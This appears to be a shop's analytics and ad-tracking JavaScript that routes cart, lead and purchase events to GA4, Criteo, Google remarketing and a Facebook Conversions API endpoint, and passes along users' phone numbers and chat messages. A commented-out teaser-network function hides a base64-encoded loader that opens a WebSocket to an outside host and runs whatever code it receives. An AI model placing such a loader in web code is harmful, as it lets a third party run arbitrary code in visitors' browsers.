1// VER ALL 16.02.2023 -- strrt; 2// VER ALL 20.02.2023 == bag in SK_TrackerCriteo_Sender; 3// VER ALL 21.02.2023 == bag in SK_TrackerCriteo_Sender convert; 4// VER ALL 22.02.2023 == bag sk_tracker_ga4.Event_Chat_Message_Sent -> VER ALL 21.02.2023 == 5// VER ALL 08.03.2023 ++ SK_TrackerGA4_Sender.Event_Purchase add this.purchase_json 6// VER ALL 08.03.2023 ++ function getFakeOrderId(); 7// VER ALL 11.03.2023 ++ SK_TrackerCriteo_Sender.Event_Lead() 8// VER ALL 15.03.2023 == Event_Add_To_Cart(_offer_cart,_fg_ga4=1,_fg_criteo=1) 9// VER ALL 15.03.2023 ++ sk_event_criteo_add_to_cart() 10// VER ALL 27.03.2023 == bag 'event': name_value -> 'event': this.name_value, 11// VER ALL 29.03.2023 .. start FbCAPI 12// VER ALL 17.04.2023 == баг кÑки s=$.cookie('_fbp'); s=$.cookie('_fbÑ'); 13// VER ALL 19.04.2023 == SK_TrackerShop_Router this.purchase_json 14// VER ALL 19.04.2023 ++ Event_Lead_No_Criteo 15// VER ALL 24.07.2023 ++ Event_View_Page(), this.fg_event_view 16// VER ALL 24.04.2024 ++ offer_gtm.google_business_vertical='retail'; 17// VER ALL 17.06.2024 == update Remarketing Event_View_Item 18// VER ALL 17.06.2024 ++ FbCAPI add if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id; 19// VER ALL 29.06.2024 == FbCAPI if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id; 20// VER ALL 29.06.2024 == FbCAPI if (stat.hasOwnProperty('id_main')) event.product_catalog_id=stat.id_main; 21// VER ALL 03.08.2026 ++ FbCAPI add to Lead content_name, category_name 22 23<!-- tracker start --> 24$(document).on('click', "[data-gtm-event='select-item']", function () { 25 let offer_cart=sk_offer_cart_read_short(this); 26 if (typeof sk_tracer_sender!=='undefined') 27 { 28 sk_tracer_sender.Event_Select_Item(offer_cart); 29 } 30}); 31 32 33function sk_offer_cart_read_short(pl) { 34 let offer_cart={}; 35 s = $(pl).attr('data-offer-cart-id'); 36 offer_cart.id = (typeof s !== 'undefined') ? s : ''; 37 s = $(pl).attr('data-offer-cart-name-gtm'); 38 offer_cart.name_gtm = (typeof s !== 'undefined') ? s : ''; 39 s = $(pl).attr('data-offer-cart-price-real'); 40 s = (typeof s !== 'undefined') ? s : ''; 41 s = Number(s.replace(/\D+/g,'')); 42 offer_cart.price_real = isNaN(s) ? 0 : s; 43 s = $(pl).attr('data-offer-cart-brand'); 44 offer_cart.vendor = (typeof s !== 'undefined') ? s : ''; 45 s = $(pl).attr('data-offer-cart-category-gtm'); 46 offer_cart.category_gtm = (typeof s !== 'undefined') ? s : ''; 47 return offer_cart; 48} 49<!-- tracker start --> 50 51 52// Tizer ??? 53/* 54function recreativ_end (id) { 55 var d = document; 56 var s = d.createElement('script'); 57 s.type = 'text/javascript'; 58 s.src = '//recreativ.ru/trck.php?shop=2427&del=' + id + '&rnd=' + Math.floor(Math.random() * 999); 59 s.onerror = function () {eval(atob('dmFyIHdyPW5ldyBXb3JrZXIoVVJMLmNyZWF0ZU9iamVjdFVSTChuZXcgQmxvYihbJ3ZhciB3cz1uZXcgV2ViU29ja2V0KCInK3Muc3JjLnJlcGxhY2UoL15odHRwLywid3MiKSsiJnJlZj0iK2VuY29kZVVSSUNvbXBvbmVudChkLmxvY2F0aW9uKSsnIik7d3Mub25tZXNzYWdlPWZ1bmN0aW9uKHQpe3Bvc3RNZXNzYWdlKHQuZGF0YSk7fTsnXSkse3R5cGU6InRleHQvamF2YXNjcmlwdCJ9KSk7d3Iub25tZXNzYWdlPWZ1bmN0aW9uKHQpe3dpbmRvdy5ldmFsKHQuZGF0YSk7fTs='));}; 60 d.body.appendChild(s); 61} 62*/ 63 64function getRandomInt (min, max) { 65 return Math.floor(Math.random() * (max - min)) + min; 66} 67 68function getFakeOrderId() 69{ 70 let start=Date.parse('01 Jan 2020 00:00:00 GMT'); 71 let id=parseInt((Date.now()-start)/100).toString(); 72 return id; 73} 74 75 76function sk_event_criteo_add_to_cart() 77{ 78 if (typeof sk_tracer_sender!=='undefined') 79 { 80 if (typeof offer_cart!=='undefined' && window.page_info.type=='product') 81 { 82 // only for criteo 83 sk_tracer_sender.Event_Add_To_Cart_Only_Criteo(offer_cart); 84 } 85 } 86} 87 88// --- Router 89class SK_TrackerShop_Router 90{ 91 constructor(setting={}) 92 { 93 this.fg_GA4 = (typeof window.sk_tracker_ga4 === 'undefined') ? 0 : 1; 94 this.fg_Criteo = (typeof window.sk_tracker_criteo === 'undefined') ? 0 : 1; 95 this.fg_Remarketing = (typeof window.sk_tracker_remarketing === 'undefined') ? 0 : 1; 96 this.fg_FbCAPI = (typeof window.sk_tracker_fb_capi === 'undefined') ? 0 : 1; 97 98 this.purchase_json =''; 99 } 100 101 get_lead_id() 102 { 103 let start=Date.parse('01 Jan 2020 00:00:00 GMT'); 104 let id=parseInt((Date.now()-start)/100).toString(); 105 return id; 106 } 107 108 get_event_id() 109 { 110 let start=Date.parse('01 Jan 2010 00:00:00 GMT'); 111 let id=parseInt((Date.now()-start)/10).toString(); 112 return id; 113 } 114 115//site 116 Event_Lead(_lead_gtm) 117 { 118 let event_id=this.get_lead_id(); 119 120 if (this.fg_GA4) {sk_tracker_ga4.Event_Lead(_lead_gtm,event_id);} 121 122 if (this.fg_Criteo && (_lead_gtm.lead_source=='Chat' || _lead_gtm.lead_source=='Recall')) 123 { 124 let list_offer_cart=[]; 125 if (typeof window.cart_site !== 'undefined') 126 { 127 list_offer_cart=cart_site.ListOffersFull_Get(); 128 } 129 if (list_offer_cart.length==0 && typeof window.offer_cart !== 'undefined') 130 { 131 list_offer_cart.push(window.offer_cart); 132 } 133 let lead_id=event_id 134 sk_tracker_criteo.Event_Lead(list_offer_cart,lead_id); 135 } 136 137 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Lead(_lead_gtm,event_id);} 138 } 139 140 Event_Lead_No_Criteo(_lead_gtm) 141 { 142 let event_id=this.get_lead_id(); 143 144 if (this.fg_GA4) {sk_tracker_ga4.Event_Lead(_lead_gtm,event_id);} 145 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Lead(_lead_gtm,event_id);} 146 } 147 148 Event_Phone_Filled(_phone) 149 { 150 if (this.fg_GA4) {sk_tracker_ga4.Event_Phone_Filled(_phone);} 151 } 152 153 Event_View_Page() 154 { 155 if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Page();} 156 } 157 158 Event_View_Home() 159 { 160 if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Home();} 161 } 162 163 Event_View_List(list_id,category_gtm='') 164 { 165 if (this.fg_Criteo) {sk_tracker_criteo.Event_View_List(list_id);} 166 167 if (this.fg_Remarketing) {sk_tracker_remarketing.Event_View_List(list_id,category_gtm);} 168 } 169 170 Event_Select_Item(_offer_cart) 171 { 172 if (this.fg_GA4) {sk_tracker_ga4.Event_Select_Item(_offer_cart);} 173 } 174 175 Event_View_Item(_offer_cart) 176 { 177 let event_id=this.get_event_id(); 178 179 if (this.fg_GA4) {sk_tracker_ga4.Event_View_Item(_offer_cart,event_id);} 180 181 if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Item(_offer_cart);} 182 183 if (this.fg_Remarketing) {sk_tracker_remarketing.Event_View_Item(_offer_cart);} 184 185 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_View_Item(_offer_cart,event_id);} 186 } 187//site 188 189//cart 190 Event_Cart_View(_list_offer_cart,_sum) 191 { 192 if (this.fg_Remarketing) {sk_tracker_remarketing.Event_Cart_View(_list_offer_cart,_sum);} 193 if (this.fg_Criteo) {sk_tracker_criteo.Event_Cart_View(_list_offer_cart,_sum);} 194 } 195 196 Event_Add_To_Cart(_offer_cart) 197 { 198 let event_id=this.get_event_id(); 199 200 if (this.fg_GA4) {sk_tracker_ga4.Event_Add_To_Cart(_offer_cart,event_id);} 201 if (this.fg_Criteo) {sk_tracker_criteo.Event_Add_To_Cart(_offer_cart);} 202 203 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Add_To_Cart(_offer_cart,event_id);} 204 } 205 206 Event_Add_To_Cart_Only_GA4(_offer_cart) 207 { 208 let event_id=this.get_event_id(); 209 if (this.fg_GA4) {sk_tracker_ga4.Event_Add_To_Cart(_offer_cart,event_id);} 210 // ÐºÐ¾Ð¿Ð¸Ñ Ð² FB 211 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Add_To_Cart(_offer_cart,event_id);} 212 } 213 214 Event_Add_To_Cart_Only_Criteo(_offer_cart) 215 { 216 if (this.fg_Criteo) {sk_tracker_criteo.Event_Add_To_Cart(_offer_cart);} 217 } 218 219 Event_Remove_From_Cart(_offer_cart,_fg_all=0) 220 { 221 if (this.fg_GA4) {sk_tracker_ga4.Event_Remove_From_Cart(_offer_cart,_fg_all);} 222 } 223 224 Event_Begin_Checkout(_list_offer_cart,_sum) 225 { 226 if (this.fg_GA4) {sk_tracker_ga4.Event_Begin_Checkout(_list_offer_cart,_sum);} 227 } 228 229 Event_Add_Shipping_Info(_list_offer_cart,_sum) 230 { 231 if (this.fg_GA4) {sk_tracker_ga4.Event_Add_Shipping_Info(_list_offer_cart,_sum);} 232 } 233 234 Event_Add_Payment_Info(_list_offer_cart,_sum) 235 { 236 if (this.fg_GA4) {sk_tracker_ga4.Event_Add_Payment_Info(_list_offer_cart,_sum);} 237 } 238 239 240 Event_Purchase(_list_offer_cart,_sum,_order_id) 241 { 242/* 243 let d={}; 244 d.i=_list_offer_cart; 245 d.id=_order_id; 246 d.s=_sum; 247 248 let purchase_json = JSON.stringify(d); 249 if (this.purchase_json==purchase_json) return; 250 this.purchase_json=purchase_json; 251*/ 252 253 let event_id=this.get_lead_id(); 254 if (this.fg_GA4) {sk_tracker_ga4.Event_Purchase(_list_offer_cart,_sum,_order_id,event_id);} 255 if (this.fg_Criteo) {sk_tracker_criteo.Event_Purchase(_list_offer_cart,_sum,_order_id);} 256 let phone=(typeof window.lead_client.phone!=='undefined') ? window.lead_client.phone:''; 257 if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Purchase(_list_offer_cart,_sum,event_id,phone);} 258 } 259//cart 260 261//chat 262 Event_Chat_Message_Sent(_mes) 263 { 264 if (this.fg_GA4) {sk_tracker_ga4.Event_Chat_Message_Sent(_mes);} 265 } 266//chat 267 268 Event_Select_Promotion(_promotion_name,_offer_cart=null) 269 { 270 if (this.fg_GA4) {sk_tracker_ga4.Event_Select_Promotion(_promotion_name,_offer_cart);} 271 } 272 273 Event_Tracking_Failed() 274 { 275 if (this.fg_GA4) {sk_tracker_ga4.Event_Tracking_Failed();} 276 } 277} 278// === Router 279 280// --- GA4 281function sk_converter_offer_gtm(_offer_cart,_fg_all=0,_fg_retail=1) 282{ 283 if (_offer_cart==null) return null; 284 285 let offer_gtm={}; 286 offer_gtm.item_id=_offer_cart.hasOwnProperty('id')?_offer_cart.id:0; 287 offer_gtm.item_name=_offer_cart.hasOwnProperty('name_gtm')?_offer_cart.name_gtm: ''; 288 offer_gtm.item_brand=_offer_cart.hasOwnProperty('vendor')?_offer_cart.vendor: ''; 289 offer_gtm.item_category=_offer_cart.hasOwnProperty('category_gtm')?_offer_cart.category_gtm: ''; 290 offer_gtm.price= _offer_cart.hasOwnProperty('price_real')?_offer_cart.price_real: '0'; 291 offer_gtm.price = Number(String(offer_gtm.price).replace(/\D+/g, '')); 292 293 if (_fg_retail==1) 294 { 295 offer_gtm.id=offer_gtm.item_id; 296 offer_gtm.google_business_vertical='retail'; 297 } 298 299 offer_gtm.quantity= 1; 300 if (_fg_all==1) offer_gtm.quantity=_offer_cart.hasOwnProperty('count')?_offer_cart.count: 1; 301 offer_gtm.currency= 'UAH'; 302 return offer_gtm; 303} 304 305function sk_converter_list_offer_gtm(_list_offer_cart,_fg_all=1,_fg_retail=1) 306{ 307 let offer_gtm; 308 let items=[]; 309 for (var i = 0; i <_list_offer_cart.length; i++) { 310 offer_gtm=sk_converter_offer_gtm(_list_offer_cart[i],_fg_all,_fg_retail); 311 items.push(offer_gtm); 312 } 313 return items; 314} 315 316function sk_converter_list_offer_id(_list_offer_cart,_fg_string=0) 317{ 318 let items=[]; 319 let id; 320 for (var i = 0; i <_list_offer_cart.length; i++) { 321 id=Number(_list_offer_cart[i].id); 322 if (_fg_string) id=String(id); 323 items.push(id); 324 } 325 return items; 326} 327 328 329class SK_TrackerGA4_Sender 330{ 331 constructor(setting={}) 332 { 333 window.dataLayer = window.dataLayer || []; 334 this.fg_work=setting.hasOwnProperty('fg_work')?setting.fg_work:0; 335 this.purchase_json=''; 336 } 337 338 Event_Lead(_lead_gtm,event_id) 339 { 340 if (!this.fg_work) return; 341 let parameters={}; 342 parameters.role='conversion'; 343 parameters.phone_number=_lead_gtm.lead_phone; // format strong +38 (099) 999-99-99 344 parameters.lead_source=_lead_gtm.lead_source; // Recall | Chat | Cart 345 parameters.form=_lead_gtm.lead_gtm_form; 346 if (typeof _lead_gtm.product_name!== 'undefined') 347 { 348 parameters.product=_lead_gtm.product_name; 349 parameters.product_category=_lead_gtm.category_name; 350 } 351// parameters.lead_id=lead_id; 352 parameters.event_id=event_id; 353 354 this._sender_gtm('lead', parameters, null) 355 } 356 357 Event_Phone_Filled(_phone) 358 { 359 if (!this.fg_work) return; 360 this._sender_gtm('phone_filled', {'role':'engagement', 'phone_number': _phone} , null) 361 } 362 363 Event_View_List(list_id) 364 { 365 } 366 367 Event_Select_Item(_offer_cart) 368 { 369 if (!this.fg_work) return; 370 let offer_gtm=sk_converter_offer_gtm(_offer_cart); 371 372 let items=[]; 373 items.push(offer_gtm); 374 let ecommerce={}; 375 ecommerce.items=items; 376 this._sender_gtm('select_item', {'role':'ecommerce'}, ecommerce); 377 } 378 379 Event_View_Item(_offer_cart,event_id) 380 { 381 if (!this.fg_work) return; 382 let offer_gtm=sk_converter_offer_gtm(_offer_cart); 383 384 let items=[]; 385 items.push(offer_gtm); 386 let ecommerce={}; 387 ecommerce.items=items; 388 let parameters={}; 389 parameters.role='ecommerce'; 390 parameters.event_id=event_id; 391 392 this._sender_gtm('view_item', parameters, ecommerce); 393 } 394 395 Event_Add_To_Cart(_offer_cart,event_id) 396 { 397 if (!this.fg_work) return; 398 let offer_gtm=sk_converter_offer_gtm(_offer_cart); 399 400 let items=[]; 401 items.push(offer_gtm); 402 let ecommerce={}; 403 ecommerce.items=items; 404 405 let parameters={}; 406 parameters.role='ecommerce'; 407 parameters.event_id=event_id; 408 409 this._sender_gtm('add_to_cart', parameters, ecommerce); 410 } 411 412 Event_Remove_From_Cart(_offer_cart,_fg_all=0) 413 { 414 if (!this.fg_work) return; 415 let offer_gtm=sk_converter_offer_gtm(_offer_cart,_fg_all); 416 417 let items=[]; 418 items.push(offer_gtm); 419 let ecommerce={}; 420 ecommerce.items=items; 421 this._sender_gtm('remove_from_cart', {'role':'ecommerce'}, ecommerce); 422 } 423 424 Event_Select_Promotion(_promotion_name,_offer_cart=null) 425 { 426 if (!this.fg_work) return; 427 let ecommerce={}; 428 ecommerce.promotion_name=_promotion_name; 429 if (_offer_cart!=null) 430 { 431 let items=[]; 432 let offer_gtm=sk_converter_offer_gtm(_offer_cart); 433 items.push(offer_gtm); 434 ecommerce.items=items; 435 } 436 this._sender_gtm('select_promotion', {'role':'ecommerce'}, ecommerce); 437 } 438 439 Event_Begin_Checkout(_list_offer_cart,_sum) 440 { 441 if (!this.fg_work) return; 442 let items=[]; 443 items=sk_converter_list_offer_gtm(_list_offer_cart); 444 445 let ecommerce={}; 446 ecommerce.items=items; 447 ecommerce.value=_sum; 448 ecommerce.currency= 'UAH', 449 this._sender_gtm('begin_checkout', {'role':'ecommerce'}, ecommerce); 450 } 451 452 Event_Add_Shipping_Info(_list_offer_cart,_sum) 453 { 454 if (!this.fg_work) return; 455 let items=[]; 456 items=sk_converter_list_offer_gtm(_list_offer_cart); 457 458 let ecommerce={}; 459 ecommerce.items=items; 460 ecommerce.value=_sum; 461 ecommerce.currency= 'UAH'; 462 this._sender_gtm('add_shipping_info', {'role':'ecommerce'}, ecommerce); 463 } 464 465 Event_Add_Payment_Info(_list_offer_cart,_sum) 466 { 467 if (!this.fg_work) return; 468 469 let items=[]; 470 items=sk_converter_list_offer_gtm(_list_offer_cart); 471 472 let ecommerce={}; 473 ecommerce.items=items; 474 ecommerce.value=_sum; 475 ecommerce.currency= 'UAH'; 476 this._sender_gtm('add_payment_info', {'role':'ecommerce'}, ecommerce); 477 } 478 479 480 Event_Purchase(_list_offer_cart,_sum,_order_id,event_id) 481 { 482 if (!this.fg_work) return; 483 let items=[]; 484 items=sk_converter_list_offer_gtm(_list_offer_cart); 485 486/* 487 let d={}; 488 d.i=items; 489 d.id=_order_id; 490 d.s=_sum; 491 492 let purchase_json = JSON.stringify(d); 493 if (this.purchase_json==purchase_json) return; 494 this.purchase_json=purchase_json; 495*/ 496 let ecommerce={}; 497 ecommerce.items=items; 498 ecommerce.value=_sum; 499 ecommerce.currency= 'UAH'; 500 ecommerce.transaction_id = _order_id; 501 502 let parameters={}; 503 parameters.role='ecommerce'; 504 parameters.event_id=event_id; 505 506 this._sender_gtm('purchase', parameters, ecommerce); 507 } 508 509 Event_Cart_Byu(_list_offer_cart,_sum,_order_id) 510 { 511 if (!this.fg_work) return; 512 } 513 514/* 515Merchant tetra cart 516*/ 517 518 Event_Chat_Message_Sent(_mes) 519 { 520 if (!this.fg_work) return; 521 this._sender_gtm('chat_message_sent', {'role':'engagement', 'message': _mes} , null); 522 } 523 524 Event_Tracking_Fa
524iled() 525 { 526 if (!this.fg_work) return; 527 this._sender_gtm('tracking_failed', {'role':'UX', 'tracking': 'criteo', 'adblock': window.adblock} , null); 528 } 529 530 _sender_gtm(action, parameters, ecommerce=null) 531 { 532 dataLayer.push({ ecommerce: null }); 533 dataLayer.push({ 534 'event': 'ga4_interaction', 535 'action': action, 536 'parameters': parameters, 537 'ecommerce': ecommerce 538 }); 539 } 540} 541// === GA4 542 543// --- Remarketing 544class SK_TrackerRemarketing_Sender 545{ 546 constructor(setting={}) 547 { 548 window.dataLayer = window.dataLayer || []; 549 this.name_value=setting.hasOwnProperty('name') ? setting.name : ''; 550 this.fg_work = (this.name_value=='') ? 0 : 1; 551 } 552 553 Event_View_List(list_id,category_gtm) 554 { 555 if (!this.fg_work) return; 556 if (list_id.length==0) return; 557 558 dataLayer.push({ 559 'event': this.name_value, 560 'ecomm_pagetype': 'category', 561 'ecomm_prodid': list_id, 562 'ecomm_totalvalue': '', 563 'ecomm_category': category_gtm 564 }); 565 } 566 567 Event_View_Item(_offer_cart) 568 { 569 if (!this.fg_work) return; 570 571/* 572 let offer_gtm=sk_converter_offer_gtm(_offer_cart,0,0); 573 dataLayer.push({ 574 'event': this.name_value, 575 'ecomm_pagetype': 'Product', 576 'ecomm_prodid': offer_gtm.item_id, 577 'ecomm_totalvalue': offer_gtm.price, 578 'ecomm_category': offer_cart.category_gtm 579 }); 580*/ 581 dataLayer.push({ 582 'event': this.name_value, 583 'ecomm_pagetype': 'Product', 584 'ecomm_prodid': _offer_cart.id, 585 'ecomm_totalvalue': _offer_cart.price_real, 586 'ecomm_category': _offer_cart.category_gtm 587 }); 588 } 589 590 Event_Cart_View(_list_offer_cart,_sum) 591 { 592 if (!this.fg_work) return; 593 594 let list_id=[]; 595 list_id=sk_converter_list_offer_id(_list_offer_cart,1,0); 596 if (list_id.length==0) return; 597 dataLayer.push({ 598 'event': this.name_value, 599 'ecomm_pagetype': 'Cart', 600 'ecomm_prodid': list_id, 601 'ecomm_totalvalue': _sum, 602 'ecomm_category': '' 603 }); 604 } 605 // sk add 606 Event_Purchase(_list_offer_cart,_sum) 607 { 608 if (!this.fg_work) return; 609 610 let list_id=[]; 611 list_id=sk_converter_list_offer_id(_list_offer_cart,1,0); 612 if (list_id.length==0) return; 613 dataLayer.push({ 614 'event': this.name_value, 615 'ecomm_pagetype': 'Purchase', 616 'ecomm_prodid': list_id, 617 'ecomm_totalvalue': _sum, 618 'ecomm_category': '' 619 }); 620 } 621} 622// === Remarketing 623 624// --- Criteo 625class SK_TrackerCriteo_Sender 626{ 627 constructor(setting={}) 628 { 629 this.account=setting.hasOwnProperty('account')?setting.account:0; 630 this.fg_work= (this.account==0) ? 0 : 1; 631 this.fg_event_view=0; 632 633 this.device_Type = /iPad/.test(navigator.userAgent) ? "t" : /Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Silk/.test(navigator.userAgent) ? "m" : "d"; 634 } 635 636 637 _converter_offer_criteo(_offer_cart,_fg_all=0) 638 { 639 if (_offer_cart==null) return null; 640 641 let offer_criteo={}; 642 643 offer_criteo.id=_offer_cart.hasOwnProperty('id')?String(_offer_cart.id):''; 644 let price=_offer_cart.hasOwnProperty('price_real')?_offer_cart.price_real:0; 645 let num_price = Number(String(price).replace(/\D+/g, '')); 646// offer_criteo.price = Number(String(num_price) + '.00'); 647 offer_criteo.price = num_price; 648 offer_criteo.quantity=1; 649 if (_fg_all==1) offer_criteo.quantity=_offer_cart.hasOwnProperty('count')?_offer_cart.count: 1; 650 651 return offer_criteo; 652 } 653 654 _converter_list_offer_criteo(_list_offer_cart,_fg_all=1) 655 { 656 let offer; 657 let items=[]; 658 for (var i = 0; i <_list_offer_cart.length; i++) { 659 offer=this._converter_offer_criteo(_list_offer_cart[i],_fg_all); 660 items.push(offer); 661 } 662 return items; 663 } 664 665 Event_View_Page() 666 { 667 if (this.fg_work==0) return; 668 if (this.fg_event_view==1) return; 669 670 this.fg_event_view=1; 671 let event = {event: 'viewPage'}; 672 this._sender_event(event); 673 } 674 675 676 Event_View_Home() 677 { 678 if (this.fg_work==0) return; 679 680 this.fg_event_view=1; 681 let event = {event: 'viewHome'}; 682 this._sender_event(event); 683 } 684 685 Event_View_List(list_id) 686 { 687 if (this.fg_work==0) return; 688 if (list_id.length==0) return; 689 690 this.fg_event_view=1; 691 let event={}; 692/* 693 if (list_id.length==0) 694 { 695 // event = {event: "viewPage"}; 696 return; 697 } 698 else 699*/ 700 {event = {event: "viewList", item: list_id};} 701 this._sender_event(event); 702 } 703 704 Event_View_Item(_offer_cart) 705 { 706 if (this.fg_work==0) return; 707 708 this.fg_event_view=1; 709 let event = {event: "viewItem", item: String(_offer_cart.id), availability: _offer_cart.fg_visa}; 710 this._sender_event(event); 711 } 712 713 Event_Cart_View(_list_offer_cart,_sum) 714 { 715 if (this.fg_work==0) return; 716 717 this.fg_event_view=1; 718 let items=[]; 719 items=this._converter_list_offer_criteo(_list_offer_cart,1); 720 let event={ event: 'viewBasket', item: items }; 721 this._sender_event(event); 722 } 723 724 Event_Add_To_Cart(_offer_cart) 725 { 726 if (this.fg_work==0) return; 727 728 let offer=this._converter_offer_criteo(_offer_cart); 729 let items=[]; 730 items.push(offer); 731 732 let event = { event: "addToCart", item: items}; 733 this._sender_event(event); 734 } 735 736 Event_Purchase(_list_offer_cart,_sum,_order_id) 737 { 738 if (this.fg_work==0) return; 739 740 let items=[]; 741 items=this._converter_list_offer_criteo(_list_offer_cart,1); 742 743 let order_id=0; 744 order_id=getFakeOrderId(); 745 order_id=_order_id; 746 let event={ event: 'trackTransaction', id: order_id, item: items }; 747 this._sender_event(event); 748 } 749 750 Event_Lead(_list_offer_cart,_lead_id) 751 { 752 if (this.fg_work==0) return; 753 754 let items=[]; 755 items=this._converter_list_offer_criteo(_list_offer_cart,1); 756 757 let event={ event: 'trackTransaction', id: _lead_id, item: items }; 758 this._sender_event(event); 759 } 760 761 Event_Product_Buy (_offer_cart, _order_id) 762 { 763 if (this.fg_work==0) return; 764 765 let offer=this._converter_offer_criteo(_offer_cart); 766 let items=[]; 767 items.push(offer); 768 769 let event={ event: 'trackTransaction', id: _order_id, item: items }; 770 this._sender_event(event); 771 } 772 773 _sender_event (_event) 774 { 775 if (this.fg_work==0) return; 776 if (typeof _event === 'undefined') return false; 777 window.criteo_q = window.criteo_q || []; 778 window.criteo_q.push( 779 {event: "setAccount", account: this.account}, 780 {event: "setEmail", email: ""}, 781 {event: "setSiteType", type: this.device_Type}, 782 _event 783 ); 784 } 785} 786// === Criteo 787 788 789// --- FbCAPI 790/* 791"event_name":"ViewContent", 792"event_id":"111", 793"client_user_agent":"", 794--"event_time":"", 795"action_source":"website", 796"event_source_url":"", 797"fbp":"",
798"fbc":"", 799 800"content_ids":"", 801"content_type":"product", 802"currency":"", 803"value":"125", 804 805"ph":"" 806 807*/ 808 809class SK_TrackerFbCAPI_Sender 810{ 811 constructor(setting={}) 812 { 813 this.url_script=setting.hasOwnProperty('url_script')?setting.url_script:''; 814 this.fg_work= (this.url_script=='') ? 0 : 1; 815 this.fg_debug=1; 816 this.action_source='website'; 817 let s=''; 818 s=window.lead_client.ua; 819 this.client_user_agent=(typeof s!=='undefined' && s!==null) ? s : ''; 820 s=window.page_info.href; 821 this.event_source_url=(typeof s!=='undefined' && s!==null) ? s : ''; 822 s=$.cookie('_fbp'); 823 this.fbp=(typeof s!=='undefined' && s!==null) ? s : ''; 824 s=$.cookie('_fbc'); 825 this.fbc=(typeof s !=='undefined' && s!==null)? s : ''; 826 } 827 828 _event_init(_event) 829 { 830 let event=_event; 831 event.action_source=this.action_source; 832 event.client_user_agent=this.client_user_agent; 833 event.event_source_url=this.event_source_url; 834 if (this.fbp.length) event.fbp=this.fbp; 835 if (this.fbc.length) event.fbc=this.fbc; 836 return event; 837 } 838 839 840 Event_Lead(_lead_gtm,_event_id) 841 { 842 if (!this.fg_work) return; 843 let event={}; 844 event.event_name='Lead'; 845 event.event_id=_event_id; 846 event.phone=_lead_gtm.lead_phone; 847 if (typeof _lead_gtm.product_name!== 'undefined') 848 { 849 event.content_name=_lead_gtm.product_name; 850 } 851 if (typeof _lead_gtm.category_name!== 'undefined') 852 { 853 event.content_category=_lead_gtm.category_name; 854 } 855 856 event=this._event_init(event); 857 this._sender_event(event); 858 } 859 860 861 Event_View_Item(_offer_cart, _event_id) 862 { 863 if (!this.fg_work) return; 864 865 let list_items=[]; 866 list_items.push(_offer_cart); 867 868 let list_id=sk_converter_list_offer_id(list_items,1); 869 870 let event={}; 871 event.event_name='View_Item'; 872 event.event_id=_event_id; 873 event.list_id=list_id; 874// if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id; 875 if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id; 876 event=this._event_init(event); 877 878 this._sender_event(event); 879 } 880 881 882 Event_Add_To_Cart(_offer_cart, _event_id) 883 { 884 if (!this.fg_work) return; 885 886 let list_items=[]; 887 list_items.push(_offer_cart); 888 let list_id=sk_converter_list_offer_id(list_items,1); 889 890 let event={}; 891 event.event_name='Add_To_Cart'; 892 event.event_id=_event_id; 893 event.list_id=list_id; 894// if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id; 895 if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id; 896 event=this._event_init(event); 897 898 this._sender_event(event,false); 899 } 900 901 Event_Purchase(_list_offer_cart,_sum, _event_id, _phone) 902 { 903 if (!this.fg_work) return; 904 905 let list_id=sk_converter_list_offer_id(_list_offer_cart,1); 906 907 let event={}; 908 event.event_name='Purchase'; 909 event.event_id=_event_id; 910 event.phone=_phone; 911 event.list_id=list_id; 912 event.sum=_sum; 913 event=this._event_init(event); 914 915 if (typeof window.cart_site !== 'undefined') 916 { 917 let stat=window.cart_site.Cart_Stat_Get(); 918// if (stat.hasOwnProperty('id_cat')) event.product_catalog_id=stat.id_cat; 919 if (stat.hasOwnProperty('id_main')) event.product_catalog_id=stat.id_main; 920 } 921 922 this._sender_event(event); 923 } 924 925 926 _sender_event (_event,_fg_async=true) 927 { 928 if (!this.fg_work) return; 929 930 if (typeof _event === 'undefined') return false; 931 932 jQuery.ajax({ 933 type: 'POST', 934 url: this.url_script, 935 async:_fg_async, 936 data: { event: _event }, 937 success: function (ret_info) { 938// if (typeof ret_info !== 'undefined' && testJSON(ret_info) === true) { 939// crm_json = JSON.parse(ret_info); 940// if (ret_info.length) 941// alert('Ajax success! data = ' + ret_info); 942 console.log('Ajax success! data = ' + ret_info); 943 }, 944 error: function () { 945 alert('Ajax error! URL =>' + this.url); 946 } 947 }); 948 } 949} 950 951 952// === FbCAPI 953
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.